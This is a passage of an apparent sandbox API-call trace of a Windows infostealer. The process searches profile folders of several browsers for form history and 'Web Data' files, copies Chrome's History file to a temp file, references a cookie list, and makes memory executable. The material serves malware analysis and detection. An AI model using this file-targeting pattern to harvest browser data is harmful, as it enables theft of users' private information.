lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleten\\Profiles\\ƿ") returned 21 [0164.025] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.025] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楺汬䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 18 [0164.026] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Comodo\\IceDragon\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\comodo\\icedragon\\profiles\\formhistory.sqlite")) returned 0xffffffff [0164.026] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.026] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a40, cbMultiByte=8, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="Cyberfoxrs\\AutoCompleten\\Profiles\\ƿ") returned 8 [0164.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022a08, cbMultiByte=41, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\") returned 41 [0164.026] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\8pecxstudios\\Cyberfox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned 0x42 [0164.026] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompleteberfox\\Profiles\\") returned 21 [0164.026] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楺汬䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 18 [0164.027] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles\\formhistory.sqlite")) returned 0xffffffff [0164.027] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.027] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022e1c, cbMultiByte=8, lpWideCharStr=0x1e7dea28, cchWideChar=2047 | out: lpWideCharStr="PaleMoonrs\\AutoCompleteberfox\\Profiles\\") returned 8 [0164.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceff50, cbMultiByte=51, lpWideCharStr=0x1e7dea24, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\ῤゐῡṽ㛄瑮\x14") returned 51 [0164.027] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Moonchild Productions\\Pale Moon\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned 0x4c [0164.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f022ddc, cbMultiByte=21, lpWideCharStr=0x1e7dea2c, cchWideChar=2047 | out: lpWideCharStr="Browsers\\AutoCompletections\\Pale Moon\\Profiles\\ῤゐῡṽ㛄瑮\x14") returned 21 [0164.028] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\*.*", lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0164.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0764, cbMultiByte=18, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="formhistory.sqlite楺汬䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 18 [0164.028] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\\\\\formhistory.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\moonchild productions\\pale moon\\profiles\\formhistory.sqlite")) returned 0xffffffff [0164.028] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df7dc | out: lpFindFileData=0x1e7df7dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0164.028] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0164.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x414000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.034] CharToOemBuffA (in: lpszSrc="CookieList.txt", lpszDst=0x1fd07130, cchDstLength=0xe | out: lpszDst="CookieList.txt") returned 1 [0164.034] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fcfef18, Length=0x36e) returned 0xc2b152c2 [0164.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x413000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf28a0, cbMultiByte=12, lpWideCharStr=0x1e7dea3c, cchWideChar=2047 | out: lpWideCharStr="GoogleChromeections\\Pale Moon\\Profiles\\ῤゐῡṽ㛄瑮\x14") returned 12 [0164.034] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0814, cbMultiByte=39, lpWideCharStr=0x1e7dea38, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\s\\ῤゐῡṽ㛄瑮\x14") returned 39 [0164.035] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome\\User Data\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 0x39 [0164.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4140ac, cbMultiByte=16, lpWideCharStr=0x1e7dea40, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Historye\\Chrome\\User Data\\s\\ῤゐῡṽ㛄瑮\x14") returned 16 [0164.035] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0164.035] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 8 [0164.035] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\.\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\web data")) returned 0xffffffff [0164.036] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadcfd00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xde226b0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xde226b0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 8 [0164.036] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\..\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\web data")) returned 0xffffffff [0164.036] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CertificateTransparency", cAlternateFileName="CERTIF~1")) returned 1 [0164.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 8 [0164.036] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\CertificateTransparency\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\web data")) returned 0xffffffff [0164.036] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xae1bfc0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xae1bfc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crashpad", cAlternateFileName="")) returned 1 [0164.036] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 8 [0164.037] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Crashpad\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpad\\web data")) returned 0xffffffff [0164.037] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xadf5e60, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xadf5e60, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xadf5e60, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashpadMetrics-active.pma", cAlternateFileName="CRASHP~1.PMA")) returned 1 [0164.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 8 [0164.037] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\CrashpadMetrics-active.pma\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\crashpadmetrics-active.pma\\web data")) returned 0xffffffff [0164.037] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb031300, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xe5b8cd0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe5b8cd0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0164.037] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de77c, cchWideChar=2047 | out: lpWideCharStr="Web Data䙡物䙥硯㍟㉹潪㡨⹯敤慦汵⹴硴t") returned 8 [0164.038] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\web data")) returned 0x2020 [0164.038] GetTickCount () returned 0x115c2f2 [0164.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df611, cbMultiByte=8, lpWideCharStr=0x1e7de5e8, cchWideChar=2047 | out: lpWideCharStr="18203378￾￿E") returned 8 [0164.038] SysReAllocStringLen (in: pbstr=0x1e7df760*=0x0, psz="18203378", len=0x8 | out: pbstr=0x1e7df760*="18203378") returned 1 [0164.038] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df6d4 | out: lpPerformanceCount=0x1e7df6d4*=24227124301) returned 1 [0164.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5d5, cbMultiByte=4, lpWideCharStr=0x1e7de5ac, cchWideChar=2047 | out: lpWideCharStr="7308࿌Ḫṽ\x10") returned 4 [0164.038] SysReAllocStringLen (in: pbstr=0x1e7df704*=0x0, psz="7308", len=0x4 | out: pbstr=0x1e7df704*="7308") returned 1 [0164.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5d1, cbMultiByte=4, lpWideCharStr=0x1e7de5a8, cchWideChar=2047 | out: lpWideCharStr="292208࿌Ḫṽ\x10") returned 4 [0164.038] SysReAllocStringLen (in: pbstr=0x1e7df700*=0x0, psz="2922", len=0x4 | out: pbstr=0x1e7df700*="2922") returned 1 [0164.038] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5cd, cbMultiByte=4, lpWideCharStr=0x1e7de5a4, cchWideChar=2047 | out: lpWideCharStr="30582208࿌Ḫṽ\x10") returned 4 [0164.039] SysReAllocStringLen (in: pbstr=0x1e7df6fc*=0x0, psz="3058", len=0x4 | out: pbstr=0x1e7df6fc*="3058") returned 1 [0164.039] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5c9, cbMultiByte=4, lpWideCharStr=0x1e7de5a0, cchWideChar=2047 | out: lpWideCharStr="9271582208࿌Ḫṽ\x10") returned 4 [0164.039] SysReAllocStringLen (in: pbstr=0x1e7df6f8*=0x0, psz="9271", len=0x4 | out: pbstr=0x1e7df6f8*="9271") returned 1 [0164.039] SysReAllocStringLen (in: pbstr=0x1e7df774*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x48 | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0164.039] SysReAllocStringLen (in: pbstr=0x1e7df70c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x48 | out: pbstr=0x1e7df70c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0164.039] SysReAllocStringLen (in: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", len=0x48 | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History") returned 1 [0164.039] SysReAllocStringLen (in: pbstr=0x1e7df708*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x47 | out: pbstr=0x1e7df708*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0164.040] SysReAllocStringLen (in: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\History", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x47 | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0164.040] SysReAllocStringLen (in: pbstr=0x1e7df704*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x47 | out: pbstr=0x1e7df704*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0164.040] SysReAllocStringLen (in: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", len=0x47 | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 1 [0164.040] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0164.040] SysReAllocStringLen (in: pbstr=0x1e7df770*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.040] SysReAllocStringLen (in: pbstr=0x1e7df70c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df70c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.040] SysReAllocStringLen (in: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.041] SysReAllocStringLen (in: pbstr=0x1e7df708*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df708*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.041] SysReAllocStringLen (in: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.041] SysReAllocStringLen (in: pbstr=0x1e7df704*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df704*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.041] SysReAllocStringLen (in: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", len=0x41 | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp") returned 1 [0164.041] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182033787308292230589271.tmp"), bFailIfExists=1) returned 1 [0164.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.077] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de708, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182033787308292230589271.tmp\x01[", lpUsedDefaultChar=0x0) returned 65 [0164.077] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0164.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, 